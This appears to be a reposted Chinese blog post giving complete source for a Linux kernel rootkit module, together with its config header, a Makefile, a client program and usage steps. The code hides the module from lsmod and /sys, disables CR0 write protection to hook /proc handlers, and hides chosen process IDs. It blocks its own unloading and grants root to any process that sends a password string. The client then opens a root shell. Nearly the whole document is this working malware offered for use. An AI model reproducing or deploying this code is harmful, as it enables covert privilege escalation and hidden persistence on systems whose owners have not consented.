您的位置:首页 > 其它

rootkit:在隐藏模块的基础上隐藏进程

2013-05-01 20:34 239 查看
上篇随笔中实现了隐藏进程,在实际的处理中,经常会用模块来达到修改系统调用的目的,但是当插入一个模块时,若不采取任何隐藏措施,很容易被对方发现,一旦对方发现并卸载了所插入的模块,那么所有利用该模块来隐藏的文件就暴露了,所以应继续分析如何来隐藏特定名字的模块。

这里我们可以通过/proc文件系统来向内核传递命令的方式,实现获取root权限、隐藏模块、隐藏进程、显示进程、显示模块、允许卸载模块等功能。

对于什么是/proc文件系统,以及如何通过它来跟内核通信,可以参考这里: http://www.ibm.com/developerworks/cn/linux/l-proc.html
下面直接贴代码:

/*rootkit.c*/
#include <linux/module.h>
#include<linux/kernel.h>
#include<linux/proc_fs.h>
#include<linux/sched.h>
#include<linux/string.h>
#include<linux/cred.h>
#include<linux/stat.h>
#include<linux/uaccess.h>
#include<linux/file.h>
#include "rootkit_conf.h"

MODULE_LICENSE("GPL") ;
MODULE_AUTHOR("Ormi<ormi.ormi@gmail.com>") ;
MODULE_DESCRIPTION("Simple rootkit using procfs") ;
MODULE_VERSION("0.1.2");
static int failed;
int orig_cr0;
static char pid[10][32];
static int pid_index;
/* Here are pointers in which we save original, replaced pointers. We use
them later, during unloading the module.
I think that their names explain what they are ;) */
static int (*old_proc_readdir)(struct file *, void *, filldir_t);
static filldir_t old_filldir ;
static ssize_t (*old_fops_write) (struct file *, const char __user *,size_t, loff_t *);
static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t*);
static write_proc_t *old_write;
static read_proc_t *old_read;
static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */
static struct proc_dir_entry *root; /* Pointer to /proc directory */
static struct list_head *prev; /* Pointer to entry in main modules list whichwas before our module before we hid the rootkit */
static struct file_operations *fops; /* file_operations of infected entry */
static struct file_operations *root_fops; /* file_operations of /procdirectory */

static unsigned int clear_and_return_cr0(void)//
{
unsigned int cr0 = 0;
unsigned int ret;

asm volatile ("movl %%cr0, %%eax"
: "=a"(cr0)//eaxcr0
);
ret = cr0;//

/*clear the 16th bit of CR0,*/
cr0 &= 0xfffeffff;
asm volatile ("movl %%eax, %%cr0"
:
: "a"(cr0)
);
return ret;
}

static void setback_cr0(unsigned int val)
{
asm volatile ("movl %%eax, %%cr0"
:
: "a"(val)
);
}

static inline void module_remember_info(void)//save the pointer to the prev of hide module
{
prev = THIS_MODULE->list.prev;
}
static inline void module_show(void)//lsmod
{
list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */
}

/* Parameter of this function is pointer to buffer in which there should be
command */

static int check_buf(const char __user *buf)
{
/* Here we give root privileges */
struct cred *new = prepare_creds();//return current process's cred struct
if (!strcmp(buf, password)) {
new->uid = new->euid = 0;
new->gid = new->egid = 0;
commit_creds(new);
}

/* Here we make possible to unload the module by "rmmod" */
else if (!strcmp(buf, module_release))
module_put(THIS_MODULE);//count--
/* Here we make module visible */
else if (!strcmp(buf, module_uncover))
module_show();//add to the list
/* We hide process */
else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
if (pid_index > 9)  /*max number of the hided process is 10*/
return 0;
sprintf(pid[pid_index], "%s", buf + 5);
pid_index++;
}
/* We "unhide" lastly hidden process */
else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
if (!pid_index)
return 0;
pid_index--;
}
/* If we are here, there was no command passed */
else
return 1;
return 0;
}

/* Our "write" function */
static int buf_write(struct file *file, const char __user *buf,unsigned long count, void *data)
{
/* If check_buf return 0, there was command passed */
if (!check_buf(buf))
return count;
/* Otherwise we execute original function */
return old_write(file, buf, count, data);
}

/* Our "read" function for read_proc field*/
static int buf_read(char __user *buf, char **start, off_t off,int count, int *eof, void *data)
{
if (!check_buf(buf))
return count;
return old_read(buf, start, off, count, eof, data);
}

/* For file_operations structure */
static ssize_t fops_write(struct file *file, const char __user *buf_user,size_t count, loff_t *p)
{
if (!check_buf(buf_user))
return count;
return old_fops_write(file, buf_user, count, p);
}

/* For file_operations structure */
static ssize_t fops_read(struct file *file, char __user *buf_user,size_t count, loff_t *p)
{

if (!check_buf(buf_user))
return count;
return old_fops_read(file, buf_user, count, p);
}

/* Our filldir function */
static int new_filldir(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type)
{
int i;
/* We check if "name" is pid of one of hidden processes */
for (i = 0; i < pid_index; i++)
if (!strcmp(name, pid[i]))
return 0; /* If yes, we don't display it */
/* Otherwise we invoke original filldir */
return old_filldir(__buf, name, namelen, offset, ino, d_type);
}

/* Our readdir function */
static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
{
/* To invoke original filldir in new_filldir we have to remeber pointer to
original filldir */
old_filldir = filldir;
/* We invoke original readdir, but as "filldir" parameter we give pointer to
our filldir */
return old_proc_readdir(filp, dirent, new_filldir) ;
}

/* Here we replace readdir function of /proc */
static inline void change_proc_root_readdir(void)
{
root_fops = (struct file_operations *)root->proc_fops;
old_proc_readdir = root_fops->readdir;

root_fops->readdir = new_proc_readdir;

}

static inline void proc_init(void)//commond
{
ptr = create_proc_entry("temporary", 0444, NULL);
ptr = ptr->parent;
/* ptr->parent was pointer to /proc directory */
/* If it wasn't, something is seriously wrong */
if (strcmp(ptr->name, "/proc") != 0) {
failed = 1;
return;
}
root = ptr;
remove_proc_entry("temporary", NULL);

orig_cr0 = clear_and_return_cr0();
change_proc_root_readdir(); /* We change /proc's readdir function */
setback_cr0(orig_cr0); /*set the wp*/
ptr = ptr->subdir;
/* Now we are searching entry we want to infect */
while (ptr) {
if (strcmp(ptr->name, passwaiter) == 0)
goto found; /* Ok, we found it */
ptr = ptr->next; /* Otherwise we go to next entry */
}
/* If we didn't find it, something is wrong :( */
failed = 1;
return;
found:
/* Let's begin infecting */
/* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */
old_write = ptr->write_proc;
old_read = ptr->read_proc;
fops = (struct file_operations *)ptr->proc_fops; /* Pointer tofile_operations structure of infected entry */
old_fops_read = fops->read;
old_fops_write = fops->write;

orig_cr0 = clear_and_return_cr0();  /*set back the wp*/

/* We replace write_proc/read_proc */
if (ptr->write_proc)
ptr->write_proc = buf_write;
else if (ptr->read_proc)
ptr->read_proc = buf_read;

/* We replace read/write from file_operations */
if (fops->write)
fops->write =fops_write;
else if (fops->read)
fops->read = fops_read;

setback_cr0(orig_cr0);
/* There aren't any reading/writing functions? Error! */
if (!ptr->read_proc && !ptr->write_proc &&!fops->read && !fops->write) {
failed = 1;
return;
}
}

/* This functions does some "cleanups". If we don't set some pointers tu
NULL,
we can cause Oops during unloading rootkit. We free some structures,
because we don't want to waste memory... */
static inline void tidy(void)
{
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}

/*
We must delete some structures from lists to make rootkit harder to detect.
*/
static inline void rootkit_hide(void)
{
list_del(&THIS_MODULE->list);//lsmod,/proc/modules
kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules
list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry
}

static inline void rootkit_protect(void)
{
try_module_get(THIS_MODULE);// count++
}

static int __init rootkit_init(void)
{
module_remember_info();
proc_init();
if (failed)
return 0;
rootkit_hide();
tidy();
rootkit_protect();
return 0 ;
}

static void __exit rootkit_exit(void)
{
/* If failed, we don't have to do any cleanups */
if (failed)
return;
orig_cr0 = clear_and_return_cr0();
root_fops->readdir = old_proc_readdir;
fops->write = old_fops_write;
fops->read = old_fops_read;
ptr->write_proc = old_write;
ptr->read_proc = old_read;
setback_cr0(orig_cr0);
}

module_init(rootkit_init);
module_exit(rootkit_exit);


命令头文件:

/*rootkit_conf.h*/
static char password[] = "secretpassword" ; //give here password
static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it
static char module_release[] = "release" ; //command to release the module(make possible to unload it)
static char module_uncover[] = "uncover" ; //command to show the module
static char hide_proc[] = "hide" ; //command to hide specified process
static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process


对应的Makefile

KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae
PWD:=$(shell pwd)
obj-m :=rootkit.o
modules:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers


测试程序:

/*test_rootkit.c*/
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
#include<string.h>
#include<errno.h>
#include<sys/stat.h>
#include "rootkit_conf.h"
static char file[64];
static char command[64];
int root = 0;
int main(int argc, char *argv[])
{
if(argc < 2)
{
fprintf(stderr, "Usage: %s <command>\n", argv[0]);
return 1;
}
int fd ;
/* We get path to infected entry */
sprintf(file, "/proc/%s", passwaiter);

/* If sent command is equal to command which has to give us root, we must run shell at the end */
if(!strcmp(argv[1], password))
root = 1;

/* At first we try to write command to that entry */
fd = open(file, O_WRONLY);
if(fd < 1)
{
printf("Opening for writing failed! Trying to open for reading!\n");
/* Otherwise, we send command by reading */
fd = open(file, O_RDONLY);
if(!fd) {
perror("open");
return 1;
}
read(fd, argv[1], strlen(argv[1]));
}
else
write(fd, argv[1], strlen(argv[1]));
end:
close(fd) ;
printf("[+] I did it!\n") ;
/* if we have to get root, we run shell */
if(root) {
uid_t uid = getuid() ;
printf("[+] Success! uid=%i\n", uid) ;
setuid(0) ;
setgid(0) ;
execl("/bin/bash", "bash", 0) ;
}
return 0;
}


编译生成模块 rootkit.ko,并加载进内核

默认情况下,我们已经隐藏了模块rootkit.ko 所以不管是 lsmod 还是 ls /proc/modules 或则 ls /sys/modules 是看不到rootkit.ko的。

此时编译运行test_rootkit.c

并传入参数:1:secretpassword 此时可以获得root权限

2:uncover 此时运行lsmod可以查看到模块rootkit.ko

3: release 此时才可以用rmmode卸载模块rootkit.ko,默认情况下是不可以卸载的,因为我们在模块里设置了正在使用模块标记count=1,所以必须传命令release 让count=0,这样才可以卸载

4:hide:12 此时就可以隐藏进程号为12的进程

5:unhide 此时就可以显示最近隐藏的进程
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: